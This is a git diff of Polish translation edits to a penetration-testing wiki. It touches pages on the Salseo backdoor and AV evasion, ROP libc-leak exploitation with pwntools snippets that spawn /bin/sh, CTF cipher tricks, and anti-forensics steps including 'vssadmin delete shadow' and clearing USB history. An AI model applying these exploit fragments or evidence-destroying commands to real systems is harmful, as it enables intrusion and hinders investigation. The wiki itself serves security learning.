diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # 📱 Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 88bc10456..89488371a 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -10,7 +10,7 @@ Skompiluj te projekty dla architektury komputera z systemem Windows, na którym Możesz **wybrać architekturę** w Visual Studio w **lewej zakładce "Build"** w **"Platform Target".** -(\*\*Jeśli nie możesz znaleźć tych opcji, kliknij w **"Project Tab"** a następnie w **"\ Properties"**) +(**Jeśli nie możesz znaleźć tych opcji, kliknij w **"Project Tab"** a następnie w **"\ Properties"**) ![](<../images/image (132).png>) @@ -34,7 +34,7 @@ EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` Ok, teraz masz wszystko, co potrzebne do wykonania całej operacji Salseo: **zakodowany EvilDalsa.dll** i **plik binarny SalseoLoader.** -**Prześlij plik binarny SalseoLoader.exe na maszynę. Nie powinny być wykrywane przez żadne AV...** +**Prześlij plik binarny SalseoLoader.exe na maszynę. Nie powinny być wykrywane przez żadne oprogramowanie antywirusowe...** ## **Wykonaj backdoora** @@ -85,11 +85,11 @@ Otwórz projekt SalseoLoader w Visual Studio. #### **Wyszukaj pakiet DllExport (używając zakładki Przeglądaj) i naciśnij Zainstaluj (i zaakceptuj okno popup)** -![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) W folderze projektu pojawiły się pliki: **DllExport.bat** i **DllExport_Configure.bat** -### **U**ninstall DllExport +### **U**ninstaluj DllExport Naciśnij **Odinstaluj** (tak, to dziwne, ale uwierz mi, to konieczne) @@ -101,13 +101,13 @@ Po prostu **zamknij** Visual Studio Następnie przejdź do swojego **folderu SalseoLoader** i **uruchom DllExport_Configure.bat** -Wybierz **x64** (jeśli zamierzasz używać go w środowisku x64, tak było w moim przypadku), wybierz **System.Runtime.InteropServices** (w **Namespace for DllExport**) i naciśnij **Zastosuj** +Wybierz **x64** (jeśli zamierzasz używać go w środowisku x64, tak było w moim przypadku), wybierz **System.Runtime.InteropServices** (w **Namespace dla DllExport**) i naciśnij **Zastosuj** ![](<../images/image (7) (1) (1) (1) (1).png>) ### **Otwórz projekt ponownie w Visual Studio** -**\[DllExport]** nie powinien być już oznaczony jako błąd +**\[DllExport]** nie powinno być już oznaczone jako błąd ![](<../images/image (8) (1).png>) @@ -125,7 +125,7 @@ Aby **zbudować** rozwiązanie: Buduj --> Zbuduj rozwiązanie (W konsoli wyjści ### Przetestuj wygenerowane Dll -Skopiuj i wklej Dll tam, gdzie chcesz go przetestować. +Skopiuj i wklej Dll tam, gdzie chcesz je przetestować. Wykonaj: ``` diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 5b820ff83..ede3079bf 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -32,9 +32,9 @@ return 0; ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` -## ROP - Szablon wycieku LIBC +## ROP - Leaking LIBC template -Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik oraz przekaż potrzebne dane do skryptu: +Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik, a następnie przekaż potrzebne dane do skryptu: {{#ref}} rop-leaking-libc-template.md @@ -57,7 +57,7 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**Wykonaj** `python template.py`, a konsola GDB zostanie otwarta z programem, który uległ awarii. Wewnątrz tej **konsoli GDB** wykonaj `x/wx $rsp`, aby uzyskać **bajty**, które miały nadpisać RIP. Na koniec uzyskaj **offset** za pomocą konsoli **python**: +**Wykonaj** `python template.py`, a konsola GDB zostanie otwarta z programem, który uległ awarii. Wewnątrz tej **konsoli GDB** wykonaj `x/wx $rsp`, aby uzyskać **bajty**, które miały nadpisać RIP. Na koniec uzyskaj **offset** używając konsoli **python**: ```python from pwn import * cyclic_find(0x6161616b) @@ -125,20 +125,20 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` To wyśle kilka bajtów, aż **nadpisanie** **RIP** będzie możliwe: `OFFSET`.\ Następnie ustawi **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać puts**, **przekazując** mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez `PUTS_GOT`.\ -Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` wewnątrz **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\ +Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\ Na koniec **funkcja main jest wywoływana ponownie**, abyśmy mogli ponownie wykorzystać przepełnienie. W ten sposób **oszukaliśmy funkcję puts**, aby **wydrukowała** **adres** w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**. ![](<../../../../images/image (1049).png>) -Ponieważ **eksploatujemy** lokalny binarny plik, **nie ma potrzeby** ustalania, która wersja **libc** jest używana (po prostu znajdź bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\ -Jednak w przypadku zdalnego eksploatującego wyjaśnię tutaj, jak możesz to znaleźć: +Ponieważ **eksploatujemy** lokalny binarny plik, **nie ma potrzeby** ustalania, która wersja **libc** jest używana (wystarczy znaleźć bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\ +Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak można to znaleźć: ### 3.1- Wyszukiwanie wersji libc (1) -Możesz wyszukać, która biblioteka jest używana na stronie internetowej: [https://libc.blukat.me/](https://libc.blukat.me)\ -Pozwoli to również pobrać odkrytą wersję **libc**. +Możesz sprawdzić, która biblioteka jest używana na stronie: [https://libc.blukat.me/](https://libc.blukat.me)\ +Pozwoli to również na pobranie odkrytej wersji **libc**. ![](<../../../../images/image (221).png>) @@ -181,9 +181,9 @@ __libc_start_main read gets ``` -## 4- Znajdowanie adresu libc opartego na lokalizacji i eksploatacja +## 4- Znajdowanie adresu libc opartego na i eksploatacja -Na tym etapie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6` +W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6` Na początku `template.py` zmień zmienną **libc** na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy` @@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address)) > [!NOTE] > Zauważ, że **ostateczny adres bazy libc musi kończyć się na 00**. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę. -Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podane **bibliotece libc.** +Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podany zostanie **biblioteka libc.** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -219,16 +219,16 @@ p.interactive() #Interact with the conenction ``` Wyjaśnijmy ten ostatni ROP.\ Ostatni ROP (`rop1`) zakończył się ponownym wywołaniem funkcji main, więc możemy **ponownie wykorzystać** **przepełnienie** (dlatego `OFFSET` jest tutaj ponownie). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr.\ -Na koniec **adres funkcji exit** jest **wywoływany**, aby proces **ładnie zakończył działanie** i nie wygenerował żadnego alertu. +Na koniec **wywoływana jest funkcja exit**, aby proces **zakończył się poprawnie** i nie wygenerowano żadnych alertów. -**W ten sposób exploit uruchomi powłokę \_/bin/sh**\_\*\*.\*\* +**W ten sposób exploit uruchomi powłokę _/bin/sh_.** ![](<../../../../images/image (165).png>) -## 4(2)- Używając ONE_GADGET +## 4(2)- Używanie ONE_GADGET Możesz również użyć [**ONE_GADGET** ](https://github.com/david942j/one_gadget), aby uzyskać powłokę zamiast używać **system** i **"/bin/sh". ONE_GADGET** znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego **adresu ROP**.\ -Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte. +Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości wewnątrz **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte. ![](<../../../../images/image (754).png>) ```python diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 9e3103212..6324a0498 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -8,7 +8,7 @@ Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**. -Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż przydzielona ilość**, co pozwala na nadpisanie innych części stosu. +Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu. Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` i `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona. @@ -25,9 +25,9 @@ printf("You entered: %s\n", buffer); Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**. -Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Brujna**. Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości \_n**\_\*\* występuje dokładnie raz\*\* jako sąsiadująca podsekwencja. +Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako ciągła podsekwencja. -W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisanie. +W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie. Można użyć **pwntools** do tego: ```python @@ -53,17 +53,17 @@ pattern search $rsp #Search the offset given the content of $rsp Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\ Najczęstszym sposobem nadużywania tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku. -Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF). +Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania (jak w łatwych wyzwaniach CTF). ### Ret2win -W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana: +W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączone), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana: {{#ref}} ret2win/ {{#endref}} -### Shellcode w stosie +### Shellcode na stosie W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod: @@ -73,7 +73,7 @@ stack-shellcode/ ### Techniki ROP i Ret2... -Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które kończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym: +Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku: {{#ref}} ../rop-return-oriented-programing/ diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index a1d61f685..b5ab7302a 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Wyszukaj w Google**_ +- _**Google to**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -184,7 +184,7 @@ Litery do ich wartości numerycznej ``` ### Szyfr Afiniczny Kodowanie -Litera na numer `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę +Litera na num `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę ``` krodfdudfrod ``` @@ -192,9 +192,9 @@ krodfdudfrod **Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) przez powtarzające się cyfry zdefiniowane przez odpowiadający kod klawisza na mobilnej [klawiaturze telefonu](https://www.dcode.fr/phone-keypad-cipher) (Ten tryb jest używany podczas pisania SMS).\ Na przykład: 2=A, 22=B, 222=C, 3=D...\ -Możesz zidentyfikować ten kod, ponieważ zobaczysz\*\* kilka powtarzających się cyfr\*\*. +Możesz zidentyfikować ten kod, ponieważ zobaczysz **wiele powtarzających się cyfr**. -Możesz dekodować ten kod w: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Możesz zdekodować ten kod w: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index 2cfda9afb..b468719a6 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -120,7 +120,7 @@ Sprawdź wszystkie te bazy za pomocą: [https://github.com/dhondta/python-codext ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Martwy: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### Morse ``` @@ -184,21 +184,21 @@ Litery do ich wartości numerycznej ``` ### Szyfr Afiniczny Kodowanie -Litera na numer `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę +Litera na num `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę ``` krodfdudfrod ``` ### SMS Code -**Multitap** [zastępuje literę](https://www.dcode.fr/word-letter-change) powtarzanymi cyframi zdefiniowanymi przez odpowiadający kod klawisza na mobilnej [klawiaturze telefonu](https://www.dcode.fr/phone-keypad-cipher) (Ten tryb jest używany podczas pisania SMS).\ +**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) przez powtarzające się cyfry zdefiniowane przez odpowiadający kod klawisza na mobilnej [klawiaturze telefonu](https://www.dcode.fr/phone-keypad-cipher) (Ten tryb jest używany podczas pisania SMS).\ Na przykład: 2=A, 22=B, 222=C, 3=D...\ -Możesz zidentyfikować ten kod, ponieważ zobaczysz\*\* kilka powtarzających się cyfr\*\*. +Możesz zidentyfikować ten kod, ponieważ zobaczysz **wiele powtarzających się cyfr**. Możesz odszyfrować ten kod w: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Code -Zastąp każdą literę 4 A lub B (lub 1s i 0s) +Substitude każdą literę na 4 A lub B (lub 1s i 0s) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 43aba34d7..63977e389 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -2,16 +2,16 @@ # Timestamps -Atakujący może być zainteresowany **zmianą znaczników czasu plików**, aby uniknąć wykrycia.\ -Możliwe jest znalezienie znaczników czasu w MFT w atrybutach `$STANDARD_INFORMATION` ** i ** `$FILE_NAME`. +Atakujący może być zainteresowany **zmianą znaczników czasowych plików**, aby uniknąć wykrycia.\ +Możliwe jest znalezienie znaczników czasowych w MFT w atrybutach `$STANDARD_INFORMATION`**i**`$FILE_NAME`. -Oba atrybuty mają 4 znaczniki czasu: **Modyfikacja**, **dostęp**, **utworzenie** i **modyfikacja rejestru MFT** (MACE lub MACB). +Oba atrybuty mają 4 znaczniki czasowe: **Modyfikacja**, **dostęp**, **utworzenie** i **modyfikacja rejestru MFT** (MACE lub MACB). **Eksplorator Windows** i inne narzędzia pokazują informacje z **`$STANDARD_INFORMATION`**. ## TimeStomp - Narzędzie antyforensyczne -To narzędzie **modyfikuje** informacje o znaczniku czasu wewnątrz **`$STANDARD_INFORMATION`** **ale** **nie** informacje wewnątrz **`$FILE_NAME`**. Dlatego możliwe jest **zidentyfikowanie** **podejrzanej** **aktywności**. +To narzędzie **modyfikuje** informacje o znaczniku czasowym wewnątrz **`$STANDARD_INFORMATION`**, **ale** **nie** modyfikuje informacji wewnątrz **`$FILE_NAME`**. Dlatego możliwe jest **zidentyfikowanie** **podejrzanej** **aktywności**. ## Usnjrnl @@ -29,7 +29,7 @@ Poprzedni obrazek to **wyjście** pokazane przez **narzędzie**, gdzie można za Ponownie, w wyjściu narzędzia można zobaczyć, że **wprowadzono pewne zmiany**. -Używając tego samego narzędzia, można zidentyfikować, **do którego czasu zmieniono znaczniki czasu**: +Używając tego samego narzędzia, można zidentyfikować, **do którego czasu zmieniono znaczniki czasowe**: ![](<../../images/image (451).png>) @@ -44,11 +44,11 @@ Innym sposobem na zidentyfikowanie podejrzanych zmodyfikowanych plików byłoby ## Nanosekundy -**Znaczniki czasu NTFS** mają **precyzję** **100 nanosekund**. Dlatego znalezienie plików z znacznikami czasu takimi jak 2010-10-10 10:10:**00.000:0000 jest bardzo podejrzane**. +**Znaczniki czasowe NTFS** mają **precyzję** **100 nanosekund**. Dlatego znalezienie plików z znacznikami czasowymi takimi jak 2010-10-10 10:10:**00.000:0000 jest bardzo podejrzane**. ## SetMace - Narzędzie antyforensyczne -To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednak od Windows Vista, konieczne jest, aby system operacyjny na żywo mógł modyfikować te informacje. +To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednak od Windows Vista, konieczne jest, aby system operacyjny na żywo modyfikował te informacje. # Ukrywanie danych @@ -62,8 +62,8 @@ Wtedy możliwe jest odzyskanie przestrzeni slack za pomocą narzędzi takich jak # UsbKill -To narzędzie, które **wyłączy komputer, jeśli wykryje jakiekolwiek zmiany w portach USB**.\ -Sposobem na odkrycie tego byłoby sprawdzenie uruchomionych procesów i **przejrzenie każdego uruchomionego skryptu python**. +To narzędzie, które **wyłączy komputer, jeśli wykryje jakąkolwiek zmianę w portach USB**.\ +Sposobem na odkrycie tego byłoby sprawdzenie uruchomionych procesów i **przejrzenie każdego uruchomionego skryptu Pythona**. # Dystrybucje Live Linux @@ -77,7 +77,7 @@ Te dystrybucje są **uruchamiane w pamięci RAM**. Jedynym sposobem na ich wykry Możliwe jest wyłączenie kilku metod logowania w systemie Windows, aby znacznie utrudnić dochodzenie forensyczne. -## Wyłącz znaczniki czasu - UserAssist +## Wyłącz znaczniki czasowe - UserAssist To klucz rejestru, który utrzymuje daty i godziny, kiedy każdy plik wykonywalny był uruchamiany przez użytkownika. @@ -86,7 +86,7 @@ Wyłączenie UserAssist wymaga dwóch kroków: 1. Ustawienie dwóch kluczy rejestru, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na zero, aby sygnalizować, że chcemy wyłączyć UserAssist. 2. Wyczyść swoje poddrzewa rejestru, które wyglądają jak `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -## Wyłącz znaczniki czasu - Prefetch +## Wyłącz znaczniki czasowe - Prefetch To zapisze informacje o aplikacjach uruchamianych w celu poprawy wydajności systemu Windows. Jednak może to być również przydatne w praktykach forensycznych. @@ -96,13 +96,13 @@ To zapisze informacje o aplikacjach uruchamianych w celu poprawy wydajności sys - Wybierz Modyfikuj dla każdego z nich, aby zmienić wartość z 1 (lub 3) na 0 - Uruchom ponownie -## Wyłącz znaczniki czasu - Czas ostatniego dostępu +## Wyłącz znaczniki czasowe - Czas ostatniego dostępu -Kiedy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasu w każdym wymienionym folderze**, nazywanego czasem ostatniego dostępu. Na mocno używanym woluminie NTFS może to wpłynąć na wydajność. +Kiedy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasowego w każdym wymienionym folderze**, nazywanego czasem ostatniego dostępu. Na mocno używanym woluminie NTFS może to wpływać na wydajność. 1. Otwórz Edytor rejestru (Regedit.exe). 2. Przejdź do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Poszukaj `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj ten DWORD i ustaw jego wartość na 1, co wyłączy ten proces. +3. Poszukaj `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj ten DWORD i ustaw jego wartość na 1, co wyłączy proces. 4. Zamknij Edytor rejestru i uruchom ponownie serwer. ## Usuń historię USB @@ -110,22 +110,22 @@ Kiedy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmu Wszystkie **Wpisy urządzeń USB** są przechowywane w rejestrze Windows pod kluczem **USBSTOR**, który zawiera podklucze tworzone za każdym razem, gdy podłączasz urządzenie USB do swojego komputera lub laptopa. Możesz znaleźć ten klucz tutaj `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Usunięcie tego** spowoduje usunięcie historii USB.\ Możesz również użyć narzędzia [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html), aby upewnić się, że je usunąłeś (i aby je usunąć). -Innym plikiem, który zapisuje informacje o USB, jest plik `setupapi.dev.log` w `C:\Windows\INF`. Ten plik również powinien zostać usunięty. +Innym plikiem, który zapisuje informacje o USB, jest plik `setupapi.dev.log` wewnątrz `C:\Windows\INF`. Ten plik również powinien zostać usunięty. ## Wyłącz kopie zapasowe -**Wylistuj** kopie zapasowe za pomocą `vssadmin list shadowstorage`\ +**Lista** kopii zapasowych za pomocą `vssadmin list shadowstorage`\ **Usuń** je, uruchamiając `vssadmin delete shadow` -Możesz również usunąć je za pomocą GUI, postępując zgodnie z krokami zaproponowanymi w [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +Możesz również usunąć je za pomocą GUI, postępując zgodnie z krokami opisanymi w [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) Aby wyłączyć kopie zapasowe, [kroki stąd](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Otwórz program Usługi, wpisując "services" w polu wyszukiwania tekstowego po kliknięciu przycisku start w Windows. +1. Otwórz program Usługi, wpisując "usługi" w polu wyszukiwania tekstowego po kliknięciu przycisku start w Windows. 2. Z listy znajdź "Kopia zapasowa woluminu", wybierz ją, a następnie uzyskaj dostęp do Właściwości, klikając prawym przyciskiem myszy. 3. Wybierz Wyłączone z rozwijanego menu "Typ uruchomienia", a następnie potwierdź zmianę, klikając Zastosuj i OK. -Możliwe jest również modyfikowanie konfiguracji, które pliki będą kopiowane w kopii zapasowej w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +Możliwe jest również modyfikowanie konfiguracji, które pliki mają być kopiowane w kopii zapasowej w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ## Nadpisz usunięte pliki diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index eeb78f888..2ccb1ee50 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -42,10 +42,10 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` -### Przesyłanie plików +### Upload files - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -- [**SimpleHttpServer drukujący GET i POST (także 